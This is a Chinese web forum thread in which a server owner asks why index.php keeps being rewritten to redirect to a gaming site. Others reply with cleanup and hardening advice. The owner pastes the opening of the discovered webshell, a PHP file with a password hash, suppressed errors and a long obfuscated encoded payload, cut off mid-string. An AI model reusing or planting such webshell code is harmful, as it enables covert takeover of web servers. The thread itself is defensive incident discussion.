服务器被木马攻击了如何解决？

xcdmpj

想找到木马文件，但是找不到，隔一段时间index.php文件就会被修改，跳到一个游戏网站。这是什么病毒或木马？

xcdmpj

应该是感染了webshell病毒，刚刚查出来了，病毒文件是/public/static/js/baidu/php/ action_carawler.php        str_rot13
<?php
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "8aee3794420640ff2c347089611c9c08"; //Viv, bebegim..
define('Viv, bebegim.','Denzel-你的英雄'); // 标题
$a='';
function s(){
        global $a;
        $str = "66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323227292p617272617928272s272p272s272p275p27272p272227292p63686s70282473747229293o207q0q0n66756r6374696s6r2063686o6770632824617272617929207o20666s72656163682824617272617920617320246o6579203q3r202476617229207o202461727261795o246o65795q203q2069735s6172726179282476617229203s2063

那些年打的飞机

查服务器日志，看index.php被修改的时间；安全模式下查木马病毒看看能不能查出来……查启动项……计划任务……进程……注册表……理论上服务器是热备的，实在不行就切备机，主机重做；没有备机就根据业务进程重做主机？实在没钱，两块硬盘总有吧，数据库做在其他机子上，服务器两块硬盘系统和配置都一致，有一块不启用，出现问题把中木马的硬盘禁用，启用备盘，主盘格式化重新配置环境呗……更老六一点就是弄虚拟机，中木马也不算啥，重置也就几分钟……

sxp3468

index.php文件设置权限  不给修改

wychashe

ftp信息被泄露
查一下吧

vistal

是不是加后门了 ？宝塔用防火墙 shell扫描一下

开创者

服务器漏洞或程序漏洞，需要找一下。补上。，
同时还要把现在程序扫描一下，找到没有清除干净的木马，一般为js文件或jpg图片（实际不是图片，是php代码），需要自己分辨

yanglixing

学习了！！！

梁茵

先把index这个文件设置权限，不然你搞半天又会被木马修改白干一场

xcdmpj

wychashe 发表于 2023-7-23 16:32
ftp信息被泄露
查一下吧

没有打开ftp端口和服务

xcdmpj

sxp3468 发表于 2023-7-23 15:54
index.php文件设置权限  不给修改

设置成了444权限，还是不行，还是被病毒修改了